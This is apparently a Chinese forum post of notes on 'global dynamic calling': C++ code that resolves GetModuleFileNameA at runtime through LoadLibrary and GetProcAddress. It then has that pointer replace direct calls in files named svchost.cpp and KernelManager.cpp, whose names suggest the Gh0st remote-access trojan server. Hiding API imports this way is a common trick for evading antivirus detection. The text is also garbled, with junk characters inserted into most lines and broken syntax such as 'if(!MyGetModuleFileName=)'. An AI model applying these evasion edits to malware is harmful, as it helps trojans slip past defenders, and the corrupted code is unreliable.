[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记* s7 V& {! W% z3 X2 i7 R( A: N
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h7 o  n+ |8 U4 `$ M
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DTDY.h：8 n* `5 C$ ]4 {- ~$ K, n1 A  S
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#if _MSC_VER>1000. }/ Q% u1 U- B: q+ w
#pragma once
* A: n# a% Q- Q# k# ^, c. `#endif //_MSC_VER>10000 i  e* @, w: y  F( y* Y2 D8 U9 v
#include<windows.h>( l" l( V& u9 @! ]
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
1 M2 p* p9 s6 F' z- ~4 o. yclass DTDY& l8 m0 ?4 N2 L0 P
{
7 E( z$ ^& C" qpublic:
. _: y) i' w9 {DTDY();: b- B1 \; _$ C; l7 S  M. l
virtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;
8 R: i  t0 m7 K2 A- h5 ustatic BOOL FunInitiallization();
# u% r( c' K4 u- Y* }! C  p};
0 J) f3 I! r: ?- ~2 u#endif) H! _4 f$ G" I% o8 @. Z
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) F2 ~( T& Z, r) q# ADTDY.cpp:
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1 B" @7 `# z$ \; w#include "DTDY.h"
3 O) j* d/ I: }8 x( UpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;: u$ G. [6 D+ M* x) F0 ^  J0 ]
DTDY:TDY()0 r2 t; |5 E5 O7 e1 C4 P
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}
* \2 h8 @# T3 o4 u% {/ RDTDY::~DTDY()2 F# v8 O/ O2 L# T# t4 L+ g
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}
+ d# y2 m3 L( {- IBOOL DTDY::FunInitiallization()
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6 x2 ?; b: h; |6 ~HMODULE hModule=LoadLibrary("kernel32.dll");+ ]  d6 D1 L$ `: O! m7 L. d& \
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
+ v* Y1 @4 {9 V) v$ Zif(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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svchost.cpp:1 J' _& e# \: R' a5 t5 y4 P/ Z# B
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#include "DTDY.h"
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  u' E2 O' C0 f3 V9 vBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
4 G- c$ K8 T$ }& u2 y1 y{
5 {9 |( ]+ o, c7 j. h8 Gswitch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:, N; Y2 ^; I. l
if(!DTDY::FunInitiallization()) return FALSE;
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break;6 P! h* z5 M# z; x, `4 j
}
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) N1 o1 K8 |& S! k9 I, l' IGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def5 I0 x5 ~0 C3 e5 i6 b/ C0 W
改写为2 b$ @2 T0 V1 ]! v2 v: i. v' `
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:
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#include "../DTDY.h"
* b  u& G& g6 @- k4 k- v& xGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
# e% Q: A! A2 k. n5 Z" o改写为
6 F- ^+ t0 ]% {4 ?  W- y* l& qDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% S  M& l  i  {2 F0 @# u4 w% Q
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